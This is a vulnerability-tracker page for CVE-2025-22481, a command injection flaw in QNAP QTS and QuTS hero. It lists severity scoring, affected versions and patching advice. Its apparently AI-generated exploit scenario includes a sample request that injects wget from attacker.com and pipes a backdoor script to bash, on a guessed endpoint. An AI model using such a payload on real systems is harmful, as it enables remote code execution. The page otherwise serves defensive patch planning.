Skip to main content

Qts EUVDEUVD-2025-17340

| CVE-2025-22481 HIGH
Command Injection (CWE-77)
2025-06-06 security@qnapsecurity.com.tw
8.8
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

CVSS 8.8 with CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H indicates HIGH risk: the attack requires only Low privilege (authenticated user), Low complexity (no special conditions), Network accessibility, and no user interaction. The High impact across Confidentiality, Integrity, and Availability is significant. Real-world risk is ELEVATED because: (1) QNAP NAS devices are common in organizations storing sensitive data; (2) authentication requirement (PR:L) is a mitigating factor but not decisive—compromised user accounts, shared credentials, or lateral movement from other breaches often provide attacker access; (3) the lack of user interaction (UI:N) means exploitation can be automated; (4) command injection is reliably exploitable when discovered. However, this is NOT a zero-day mass-exploitation scenario—patches are available as of March 2025. Organizations with unpatched systems face critical risk; patched deployments face minimal risk. EPSS data would further clarify exploitation prevalence in the wild.

Exploit ScenarioDerived

An attacker gains low-level user credentials to a QNAP NAS system through phishing, credential stuffing, or lateral movement from a compromised internal workstation. The attacker accesses the NAS web interface or API (Network accessible, AV:N) and sends a specially crafted request to a vulnerable input field—for example, a search parameter, file filter, or configuration option—that is not properly sanitized. The application passes this input to a shell command (e.g., grep, find, or custom admin script) without escaping shell metacharacters. The attacker injects shell metacharacters (e.g., | ; & ` $()) to execute arbitrary commands such as creating a backdoor user, exfiltrating files, encrypting data for ransom, or pivoting to other network devices. Because UI:N (no user interaction required), the exploit can be automated and chained into larger attack workflows. A realistic example: POST /admin/search.php?query=test|wget${IFS}http://attacker.com/backdoor.sh|bash exploits insufficient input validation and achieves remote code execution.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Command injection vulnerability affecting QNAP NAS operating systems (QTS and QuTS hero) that allows authenticated remote attackers to execute arbitrary commands with high severity (CVSS 8.8). The vulnerability requires valid user credentials but no user interaction, making it exploitable by compromised accounts or insider threats. QNAP has released patches as of March 21, 2025, and exploitation details are limited in public disclosures at this time.

RemediationAI

  • action: Immediate patching; details: Upgrade QTS to version 5.2.4.3079 build 20250321 or later; upgrade QuTS hero to version h5.2.4.3079 build 20250321 or later. Check QNAP's official security advisory and download center for your specific NAS model to obtain the correct firmware image.
  • action: Access control hardening; details: Until patching is complete, restrict administrative and user access to QNAP NAS web interfaces and APIs. Disable remote access if not required; use VPN or IP whitelisting to limit access to trusted networks only.
  • action: Credential management; details: Enforce strong, unique passwords for all NAS user accounts. Disable or audit any shared administrative credentials. Implement multi-factor authentication if supported by your QNAP firmware version.
  • action: Network monitoring; details: Monitor NAS system logs and network traffic for suspicious command patterns or unexpected administrative activity. Alert on failed authentication attempts to NAS management interfaces.
  • action: Vulnerability tracking; details: Register affected QNAP devices with QNAP's security notification service and monitor CVE databases for any proof-of-concept or active exploitation reports.

Affected VersionsENISA

QuTS hero h5.2.x <h5.2.4.3079 build 20250321
QTS 5.2.x <5.2.4.3079 build 20250321

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command - Command Injection), indicating that user-supplied input is insufficiently sanitized before being passed to system command execution functions. QNAP NAS systems run proprietary QTS (QNAP Turbo Station) or QuTS hero operating systems that manage network-attached storage and provide remote administration interfaces. The command injection likely occurs in a network-accessible service or administrative function that accepts user input—potentially in web interface parameters, API calls, or configuration management features—and passes this input to shell execution without proper escaping or validation. The affected products are enterprise-grade NAS systems commonly deployed in business, research, and content delivery environments.

Know when Qts gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.8 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Analysis Updated
Apr 16, 2026 - 06:45 EUVD-patch-fix
executive summary
Patch available
Apr 16, 2026 - 05:29 EUVD
5.2.4.3079
CVE Published
Jun 06, 2025 - 16:15 nvd
HIGH 8.8

DescriptionCVE.org

A command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to execute arbitrary commands.

We have already fixed the vulnerability in the following versions: QTS 5.2.4.3079 build 20250321 and later QuTS hero h5.2.4.3079 build 20250321 and later

Executive ViewAI

Why It Matters

CVE-2025-22481 is a command injection vulnerability in QNAP NAS systems (QTS and QuTS hero) that enables authenticated users to execute arbitrary commands, posing a significant risk to organizations relying on QNAP infrastructure for data storage and backup. An attacker with valid credentials-whether through compromise or insider threat-can bypass normal operational controls without requiring user interaction, potentially leading to complete system compromise, data theft, or lateral movement within the network.

Business Impact: High
Compensating Controls

Apply vendor patch. If patching cannot be completed immediately: (1) Restrict network access to QNAP administrative interfaces using firewall rules to limit connectivity to trusted internal IP ranges only; (2) enforce mandatory password resets for all NAS user accounts and implement multi-factor authentication where supported; (3) monitor and log all authenticated connections to NAS systems for anomalous command execution patterns.

Threat Intelligence Overview

EPSS Score
0.2%
Top 54% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Qts

View all
CVE-2014-6271 CRITICAL POC
9.8 Sep 24

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which

CVE-2014-7169 CRITICAL POC
9.8 Sep 25

GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of

CVE-2017-6361 CRITICAL POC
9.8 Mar 23

QNAP QTS before 4.2.4 Build 20170313 allows attackers to execute arbitrary commands via unspecified vectors. Rated criti

CVE-2017-6360 CRITICAL POC
9.8 Mar 23

QNAP QTS before 4.2.4 Build 20170313 allows attackers to gain administrator privileges and obtain sensitive information

CVE-2017-13067 CRITICAL POC
9.8 Sep 14

QNAP has patched a remote code execution vulnerability affecting the QTS Media Library in all versions prior to QTS 4.2.

CVE-2017-6359 CRITICAL POC
9.8 Mar 23

QNAP QTS before 4.2.4 Build 20170313 allows attackers to gain administrator privileges and execute arbitrary commands vi

CVE-2017-5227 HIGH POC
7.5 Mar 23

QNAP QTS before 4.2.4 Build 20170313 allows local users to obtain sensitive Domain Administrator password information by

CVE-2017-7876 CRITICAL POC
10.0 Jun 15

This command injection vulnerability in QTS allows attackers to run arbitrary commands in the compromised application. R

CVE-2019-7193 CRITICAL POC
9.8 Dec 05

This improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. Rated criti

CVE-2023-39296 HIGH POC
7.5 Jan 05

A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. Rated high sever

CVE-2017-17028 CRITICAL
9.8 Dec 21

A buffer overflow vulnerability in external device function in QNAP QTS version 4.2.6 build 20171026, 4.3.3.0378 build 2

CVE-2017-17033 CRITICAL
9.8 Dec 21

A buffer overflow vulnerability in password function in QNAP QTS version 4.2.6 build 20171026, 4.3.3.0378 build 20171117

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy